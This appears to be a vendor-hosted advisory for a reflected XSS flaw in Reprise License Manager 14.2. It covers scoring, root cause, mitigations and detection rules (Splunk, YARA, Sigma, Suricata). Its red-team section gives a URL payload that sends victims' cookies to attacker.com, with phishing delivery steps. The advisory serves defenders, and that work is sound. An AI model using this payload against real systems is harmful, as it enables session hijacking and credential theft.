CVE-2025-25939
Executive Summary
CVE-2025-25939 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in Reprise License Manager (RLM) version 14.2. The flaw exists in the /goform/activate_process endpoint, where the akey parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript payloads in the akey parameter, which, when visited by an authenticated or unauthenticated user, executes arbitrary scripts in the context of the victim's browser session. This can lead to session hijacking, credential theft, or further exploitation of the RLM web interface.
No supply chain package (NPM, PyPI, Go, Ruby) is associated with this vulnerability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the nature of reflected XSS, the following breakdown is estimated:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): Required (R)
- Scope (S): Changed (C)
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
Estimated CVSS Score: 6.1 (Medium)
Threat Level: Medium. The vulnerability requires user interaction (clicking a crafted link) but can lead to significant impact if exploited against privileged users.
Deep Dive & Mechanics
The vulnerability resides in the activate_process handler within the RLM web application. The akey parameter is used to process license activation keys. When the server receives a request to /goform/activate_process?akey=..., it reflects the value of akey back in the HTTP response without proper encoding or validation.
Root Cause: Lack of output encoding for user-supplied input in the akey parameter.
Attack Flow:
- Attacker crafts a URL:
http://target-rlm-server/goform/activate_process?akey=<script>alert('XSS')</script> - Attacker sends this link to a victim (e.g., via phishing email).
- Victim clicks the link while authenticated to the RLM web interface.
- The server reflects the malicious script in the response.
- The victim's browser executes the script, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or deface the page.
Vulnerable vs. Patched Code
Vulnerable Code (RLM 14.2):
The akey parameter is directly embedded into the HTML response without sanitization.
<!-- Vulnerable snippet -->
<form action="/goform/activate_process" method="GET">
<input type="text" name="akey" value="<%= request.getParameter("akey") %>">
</form>
Patched Code (Hypothetical):
The akey value should be HTML-encoded before reflection.
<!-- Patched snippet -->
<form action="/goform/activate_process" method="GET">
<input type="text" name="akey" value="<%= Encode.forHtml(request.getParameter("akey")) %>">
</form>
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Reprise License Manager 14.2
- Network access to the RLM web interface (default port 5054)
Exploit Steps:
- Identify the vulnerable endpoint:
http://<target>:5054/goform/activate_process - Craft a payload to steal cookies:
http://<target>:5054/goform/activate_process?akey=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Encode the payload for URL (optional but recommended):
http://<target>:5054/goform/activate_process?akey=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the link to a victim via phishing or social engineering.
- Set up a listener on attacker.com to capture the cookie.
Example using curl (for testing):
curl -v "http://target:5054/goform/activate_process?akey=<script>alert(1)</script>"
Blue Team
Detection Steps:
- Monitor web server logs for requests to
/goform/activate_processwith suspiciousakeyparameters containing<script>,onerror,javascript:, or other XSS patterns. - Use WAF rules to block requests with HTML/JavaScript in the
akeyparameter. - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Hunting Query (Splunk):
index=web_logs source="/var/log/rlm/access.log"
| search uri_path="/goform/activate_process" AND uri_query=*akey=*
| rex field=uri_query "akey=(?<akey_value>.*)"
| where match(akey_value, "(<script|<img|onerror|javascript:)")
| table _time, client_ip, uri_query, akey_value
Indicators of Compromise (IOCs)
- URL Pattern:
/goform/activate_process?akey=* - Network Traffic: HTTP GET requests to the RLM web interface with
akeyparameter containing encoded or raw JavaScript. - Log Entries: Web server logs showing
akeyvalues with<script>,%3Cscript%3E, or similar patterns. - File Artifacts: None specific to this vulnerability.
Detection Engineering
YARA Rule
rule CVE_2025_25939_RLM_XSS {
meta:
description = "Detects reflected XSS attempts against Reprise License Manager CVE-2025-25939"
author = "Valters IT"
date = "2025-03-01"
reference = "CVE-2025-25939"
strings:
$xss_payload1 = /akey=.*<script/i
$xss_payload2 = /akey=.*%3Cscript/i
$xss_payload3 = /akey=.*onerror/i
$xss_payload4 = /akey=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS in Reprise License Manager CVE-2025-25939
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts via akey parameter in RLM
author: Valters IT
date: 2025-03-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "akey=<script"
- "akey=%3Cscript"
- "akey=onerror"
- "akey=javascript:"
condition: selection
falsepositives:
- Legitimate use of activation keys containing similar patterns (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-25939 RLM Reflected XSS Attempt"; flow:to_server; content:"/goform/activate_process"; http_uri; content:"akey="; http_uri; pcre:"/akey=.*(<script|%3Cscript|onerror|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately.
- Input Validation: Implement strict input validation for the
akeyparameter (allow only alphanumeric characters and hyphens). - Output Encoding: HTML-encode all user-supplied data before reflecting it in responses.
- WAF Rules: Deploy Web Application Firewall rules to block XSS payloads in the
akeyparameter.
Long-term Fixes:
- Apply proper Content Security Policy (CSP) headers.
- Use HTTP-only and Secure flags for session cookies.
- Conduct regular security audits of the RLM web interface.
Workaround:
- If patching is not possible, restrict access to the RLM web interface to trusted IPs only via firewall rules.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.